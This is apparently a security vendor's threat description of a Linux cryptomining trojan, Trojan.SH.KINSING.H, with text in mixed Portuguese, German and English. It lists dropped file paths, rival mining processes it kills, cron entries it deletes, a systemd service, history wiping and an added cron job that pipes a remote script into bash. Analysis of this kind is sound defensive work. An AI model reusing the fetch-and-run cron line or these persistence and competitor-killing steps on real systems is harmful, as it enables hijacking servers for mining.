Analisado por: Warren Adam Sto. Tomas   

 Plataforma:

Linux

 Classificao do risco total:
 Potencial de dano:
 Potencial de distribuição:
 infecção relatada:
 Impacto no sistema: :
 Exposição das informações:
Baixo
Medium
Alto
Crítico

  • Tipo de grayware:
    Trojan

  • Destrutivo:
    Não

  • Criptografado:
    Não

  • In the Wild:
    Sim

  Visão geral

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Löscht Dateien, so dass Programme und Anwendungen nicht ordnungsgemäß ausgeführt werden.

  Detalhes técnicos

Tipo de compactação: 11,308 bytes
Tipo de arquivo: Other
Residente na memória: Não
Data de recebimento das amostras iniciais: 12 dezembro 2021

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

  • If ran as root:
    • /etc/kinsing
  • If not ran as root, any of the following:
    • /tmp/kinsing
    • /var/tmp/kinsing
    • /dev/shm/kinsing
  • /proc/sys/kernel/nmi_watchdog
  • /etc/sysctl.conf

Andere Systemänderungen

Löscht die folgenden Dateien:

  • /etc/ld.so.preload

Prozessbeendigung

Beendet die folgenden Prozesse, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

  • .git/kthreaddw
  • {BLOCKED}.206.105
  • {BLOCKED}.87.6
  • p8444
  • supportxmr
  • monero
  • kthreaddi
  • srv00
  • /tmp/.javae/javae
  • .javae
  • .syna
  • .main
  • xmm
  • solr.sh
  • /tmp/.solr/solrd
  • /tmp/javac
  • /tmp/.go.sh
  • /tmp/.x/agetty
  • /tmp/.x/kworker
  • c3pool
  • /tmp/.X11-unix/gitag-ssh
  • /tmp/1
  • /tmp/okk.sh
  • /tmp/gitaly
  • /tmp/.x/kworker
  • 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  • /tmp/.X11-unix/supervise
  • /tmp/.ssh/redis.sh
  • zsvc
  • pdefenderd
  • updatecheckerd
  • cruner
  • dbused
  • bashirc
  • meminitsrv
  • Process connecting to {BLOCKED}.87.6, no "-"
  • Process connecting to 127.0.0.1:52018, no "-"
  • Process connecting to {BLOCKED}.218.76:9486, no "-"
  • Process connecting to {BLOCKED}.28.216:9486, no "-"
  • Process with 8 characters in its process name, does not have bin, or does not have [, or does not have (, or does not have php-fpm, or does not have proxyma, or does not have postgres, or does not have postgrey, or does not have kinsing
  • Process with 8 characters in its process name, does not have bin, or does not have [, or does not have (, or does not have php-fpm, or does not have proxyma, or does not have postgres, or does not have postgrey
  • Process with 16 characters in its process name, does not have bin, or does not have [, or does not have (, or does not have php-fpm, or does not have proxyma, or does not have postgres, or does not have postgrey
  • Process with string "./oka", no grep
  • Process with string "postgres: autovacum", no grep
  • Process with string "/tmp/sscks", no grep
  • Process with string "agetty", no grep
  • {BLOCKED}.28.216
  • Process found in the following files:
    • /tmp/.X11-unix/01
    • /tmp/.X11-unix/11
    • /tmp/.X11-unix/22
    • /tmp/.pg_stat.0
    • /tmp/.pg_stat.1
    • $HOME/data/./oka.pid

Andere Details

Es macht Folgendes:

  • Delete cron jobs with the following strings:
    • /base64/d
    • /_cron/d
    • /{BLOCKED}.20.181/d
    • /update.sh/d
    • /logo4/d
    • /logo9/d
    • /logo0/d
    • /logo/d
    • /tor2web/d
    • /jpg/d
    • /png/d
    • /tmp/d
    • /zmreplchkr/d
    • /aliyun.one/d
    • /{BLOCKED}.110.66.one/d
    • /pastebin/d
    • /onion/d
    • /lsd.systemten.org/d
    • /shuf/d
    • /ash/d
    • /mr.sh/d
    • /{BLOCKED}.10.234/d
    • /localhost.xyz/d
    • /{BLOCKED}.151.106/d
    • /{BLOCKED}.159.106/d
    • /github/d
    • /bi{BLOCKED}k.com/d
    • /xmr.i{BLOCKED}e.com/d
    • /{BLOCKED}.10.234/d
    • /{BLOCKED}.79.230/d
    • /{BLOCKED}.164.83/d
    • /newdat.sh/d
    • /lib.p{BLOCKED}m.com /d
    • /t.a{BLOCKED}.com/d
    • /update.sh/d
    • /systemd-service.sh/d
    • /pg_stat.sh/d
    • /sleep/d
    • /oka/d
    • /linux1213/d
    • /#wget/d
    • /#curl/d
    • /zsvc/d
    • /givemexyz/d
    • /world/d
    • /1.sh/d
    • /3.sh/d
    • /workers/d
    • /oracleservice/d
  • Adds the following cron job:
    • http://{BLOCKED}.32.198/lh.sh | bash > /dev/null 2>&1
  • It installs the following service:
    • /lib/systemd/system/bot.service
  • It deletes the command history.
  • It tries to install curl, wget, cron if they do not exist in the affected system

  Solução

Mecanismo de varredura mínima: 9.800
Primeiro arquivo padrão VSAPI: 17.248.05
Data do lançamento do primeiro padrão VSAPI: 12 dezembro 2021
VSAPI OPR Pattern Version: 17.249.00
VSAPI OPR Pattern veröffentlicht am: 13 dezembro 2021

Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Trojan.SH.KINSING.H entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


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